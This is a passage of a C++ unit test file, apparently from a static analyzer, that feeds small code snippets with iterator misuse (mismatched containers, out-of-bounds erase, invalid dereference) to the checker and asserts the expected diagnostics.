containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while 